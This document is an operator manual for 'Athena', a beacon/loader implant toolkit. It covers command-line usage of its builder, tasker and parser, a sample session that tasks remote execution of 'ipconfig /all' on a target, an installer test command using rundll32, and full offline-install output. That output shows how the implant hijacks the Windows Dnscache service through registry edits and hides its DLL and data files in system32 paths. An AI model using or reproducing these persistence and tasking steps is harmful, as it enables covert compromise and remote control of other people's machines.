

ATHENA DEMO – November 24, 2015

Overview

Athena is a beacon/loader tool. It hijacks DNSCACHE to obfuscate its persistence. The internal architecture manages a demand load interface that will only load the command module (business logic) during a beacon and will tear down the command module when commands complete.

Builder

The builder is a command line tool that will build a new target reference (installer/offline/ramonly).

Command Line:

Builder Tool

```
usage: builder.py [-h] [-i SYSTEM_BINARY_PATH] [-r SYSTEM_IMPORT_XML]
                [-o SYSTEM_EXPORT_PATH] [-w] [--debug]
```

Athena Configuration

optional arguments:

```
-h, --help          show this help message and exit
-i SYSTEM_BINARY_PATH, --input SYSTEM_BINARY_PATH
                    This argument provides the location of the raw binary
                    data files. (NOTE: .\bin is the default path).
-r SYSTEM_IMPORT_XML, --receipt SYSTEM_IMPORT_XML
                    This argument defines an existing receipt filename to
                    be used for default values.
-o SYSTEM_EXPORT_PATH, --output SYSTEM_EXPORT_PATH
                    This argument provides the output directory path to
                    store the target files (NOTE: .\builder_output is the
                    default path).
-w, --wizard        This argument will request information from the user
                    via the wizard.
--debug            This argument allows debugging information to be
                    included in the output directory.
```

Example: (Athena_suite) – use default paths – this command will also display the wizard.

➤ Python.exe builder.py

Tasker

The tasker is a command shell environment that will create command files known as batches to be sent to the target for processing. The tasker supports tab completion.

Tasker Tool

```
usage: tasker.py [-h] [-r RECEIPT] [-s SCRIPT] [-g GENERATE] [-p PRIORITY]
                [-x] [-e] [--id ID] [--debug]
```

Athena Tasker

optional arguments:

```
-h, --help          show this help message and exit
-r RECEIPT, --receipt RECEIPT
                    This argument defines an existing receipt filename to
                    be used for processing.
-i SCRIPT, --import SCRIPT
                    This argument provides the ability to import a script
                    for processing.
-g GENERATE, --generate GENERATE
                    This argument provides the output path location.
-p PRIORITY, --priority PRIORITY
                    This argument provides ability to set the
                    priority/ordering (0..255) NOTE: 128 is default and
                    255 is highest.
-x, --persist      This argument provides ability to set the batch as a
                    persistent batch.
-e, --stoponerror  This argument provides ability to stop the batch on a
                    command execution error.
--id ID           This argument provides the ability to force a specific
                    initial task ID for a tasking session (usually just
                    used for debugging purposes - number is decoded as
                    hex).
--debug           This argument allows debugging information to be
                    included in the output directory.
```

Example: (Athena_suite)

➤ Python.exe tasker.py

Management Features

```
=====
receipt generate ls rm import id help
```

Command Features

```
=====
execute get put memload memunload set delete uninstall
```

Exit Commands:

```
=====
bye exit
```

Welcome to the Athena Tasker shell. Type help or ? to list commands.

```
tasker::no receipt>receipt builder_output\   \receipt.xml
```

```
New Receipt Loaded:
```

```
Receipt File: builder_output\   \receipt.xml
```

```
Parent ID:    
```

```
tasker::   >execute
```

```
[execute] - execute a command on target
```

```
Description: amount of time prior to command processing (0-default)
```

```
pre-delay (number):
```

```
Description: amount of time after command processing completes (0-default)
```

```
post-delay (number):
```

```
Description: specific application name on target to execute
```

```
filename (string):ipconfig
```

```
Description: specific arguments used with this command
```

```
arguments (string):/all
```

```
COMMAND: execute pre=0 post=0 filename="ipconfig" arguments="/all"
```

OR

```
tasker::   >execute pre=0 post=0 filename=ipconfig arguments=/all
```

```
COMMAND: execute pre=0 post=0 filename="ipconfig" arguments="/all"
```

```
tasker::   >generate
```

```
[generate] - output binary batch file for a specific target
```

```
Description: prioritize this batch request on LP (0-low, 255-high)
```

```
Default: 128
```

```
priority (number 0..255):
```

```
Description: persist this batch on LP - do not delete after transfer
```

```
Default: False
```

```
persist (bool):
```

```
Description: Stop executing this batch on a command error
```

```
Default: False
```

```
stoponerror (bool):
```

```
Description: specific path to store batch (binary file and script)
```

```
Default: tasker_output
```

```
output path (string):
```

```
PATH: d:\Development\Athena\athena_suite\tasker_output\   
```

```
RSA encrypting header with client public key
```

```
BINARY: __128_   _1111
```

```
SCRIPT: __128_   _1111_script.txt
```

```
BATCH: 00001111
```

```
0: execute pre=0 post=0 filename="ipconfig" arguments="/all"
```

Copy the tasker packet to the server for processing.

NOTE: out - outbound (files from tasker and out to the target)

in - inbound (files processed by the server for parsing from the target)

Installer

The Builder generates two installation DLLs (installer_x86.dll and installer_x64.dll).

The following command can be used for testing: `rundll32 installer_x64.dll,#1`

Parser

The parser will extract the encrypted response and output to a local text file.

Parser Tool

```
usage: parser.py [-h] [-r RECEIPT] [-i INPUT] [-d] [-o OUTPUT] [-m]
```

Athena Parser

optional arguments:

```
-h, --help          show this help message and exit
-r RECEIPT, --receipt RECEIPT
                    This argument defines an existing receipt filename or
                    directory of receipts to be used for processing.
-i INPUT, --input INPUT
                    This argument provides the ability to import a file
                    or directory of files.
-d, --debug         Enable decoding of unencrypted files from target
-o OUTPUT, --output OUTPUT
                    This argument provides the output path location.
-m, --nomark        This argument provides the ability to reuse a
                    processed directory. By default, the parsing code
                    will mark processed files with a date prefix. (e.g.
                    20150908_1010_{30996559-C169-490B-A40B-4ADB597E0D19}).
```

Example: (Athena_suite)

➤ Python.exe parser.py -i files

Offline

The offline capability allows the Athena tool to be loaded with a Linux distribution or in Windows recovery mode. The user will be requested to select the path where the operating system resides and will update the file system and registry.

```
OFFLINE::Nov 21 2015
```

```
USAGE: offline <optional windows path>
```

```
Searching C:
```

```
Searching D:
```

```
Searching X:
```

```
Update options:
```

```
1) C:\Windows (x64::standard)
2) D:\Window10 (x64::standard)
3) D:\Window10 - Copy (x64::standard)
4) D:\WindowsTest (x64::standard)
```

```
Select instance to update (q or x to quit):3
```

```
Processing: D:\Window10 - Copy (x64::standard)
>> Reg: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
      netsvcs -> Dnscache
>> Reg: SYSTEM\CurrentControlSet\Services\Dnscache
      ObjectName -> LocalSystem
      ImagePath -> %SystemRoot%\system32\svchost.exe -k netsvcs
      Start -> 0x02
      Type -> 0x20
>> Reg: Parameters
      extension -> %SystemRoot%\System32\Microsoft\Crypto\DNS\dnsclext.dll
>> Source: D:\Development\Athena\offline\win\x64\Debug\target_x64.dll
      Dest: D:\Window10 - Copy\system32\microsoft\crypto\dns\dnsclext.dll
>> Source: D:\Development\Athena\offline\win\x64\Debug\target_x64.dat
      Dest: D:\Window10 - Copy\system32\codeintegrity\dns.cache
SUCCESS
```

Ramonly

The *ramonly* capability allows the full functionality of the Athena framework without persistence or write access to the local machine. All other capabilities are available when run in this mode.